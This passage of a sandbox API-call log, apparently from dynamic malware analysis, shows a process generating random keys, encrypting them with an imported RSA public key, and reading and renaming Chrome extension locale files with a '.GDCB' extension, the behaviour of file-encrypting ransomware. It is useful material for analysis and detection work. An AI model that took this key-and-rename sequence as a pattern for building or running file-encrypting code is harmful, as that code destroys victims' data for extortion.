GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.901] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.901] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.901] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.901] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0263.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.906] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.906] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.906] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.908] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794820) returned 1 [0263.909] CryptGetKeyParam (in: hKey=0x6794820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.909] CryptEncrypt (in: hKey=0x6794820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.909] GetLastError () returned 0x0 [0263.909] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.909] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.911] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67943e0) returned 1 [0263.911] CryptGetKeyParam (in: hKey=0x67943e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.911] CryptEncrypt (in: hKey=0x67943e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.911] GetLastError () returned 0x0 [0263.911] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.911] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.912] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.915] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.918] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe5, lpOverlapped=0x0) returned 1 [0263.926] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.949] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0263.955] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.958] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.960] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.960] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.960] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.960] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.963] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.965] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.965] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.965] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.966] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.968] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794420) returned 1 [0263.968] CryptGetKeyParam (in: hKey=0x6794420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.968] CryptEncrypt (in: hKey=0x6794420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.968] GetLastError () returned 0x0 [0263.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.968] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.970] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67945e0) returned 1 [0263.970] CryptGetKeyParam (in: hKey=0x67945e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.970] CryptEncrypt (in: hKey=0x67945e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.970] GetLastError () returned 0x0 [0263.970] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.970] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.971] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.974] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.976] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xda, lpOverlapped=0x0) returned 1 [0263.985] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.992] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0263.997] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.002] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.002] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.002] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.007] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.007] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.007] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.007] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.009] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794620) returned 1 [0264.009] CryptGetKeyParam (in: hKey=0x6794620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.009] CryptEncrypt (in: hKey=0x6794620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.010] GetLastError () returned 0x0 [0264.010] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.010] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.012] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794460) returned 1 [0264.012] CryptGetKeyParam (in: hKey=0x6794460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.012] CryptEncrypt (in: hKey=0x6794460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.012] GetLastError () returned 0x0 [0264.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.012] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.014] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.017] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.019] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcf, lpOverlapped=0x0) returned 1 [0264.027] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.038] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0264.044] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.050] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.050] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.050] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.052] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.054] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.054] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.055] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.057] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794660) returned 1 [0264.057] CryptGetKeyParam (in: hKey=0x6794660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.057] CryptEncrypt (in: hKey=0x6794660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.057] GetLastError () returned 0x0 [0264.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.057] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.060] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794860) returned 1 [0264.060] CryptGetKeyParam (in: hKey=0x6794860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.060] CryptEncrypt (in: hKey=0x6794860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.060] GetLastError () returned 0x0 [0264.060] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.060] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.062] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.065] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.067] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdc, lpOverlapped=0x0) returned 1 [0264.076] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.082] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0264.088] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.094] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.094] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.094] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.094] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0264.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.099] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.099] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.099] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.101] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67946a0) returned 1 [0264.101] CryptGetKeyParam (in: hKey=0x67946a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.101] CryptEncrypt (in: hKey=0x67946a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.102] GetLastError () returned 0x0 [0264.102] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.102] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.103] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67947e0) returned 1 [0264.103] CryptGetKeyParam (in: hKey=0x67947e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.103] CryptEncrypt (in: hKey=0x67947e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.104] GetLastError () returned 0x0 [0264.104] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.104] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.105] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.108] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.110] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x130, lpOverlapped=0x0) returned 1 [0264.119] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.139] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0264.145] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.151] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.151] 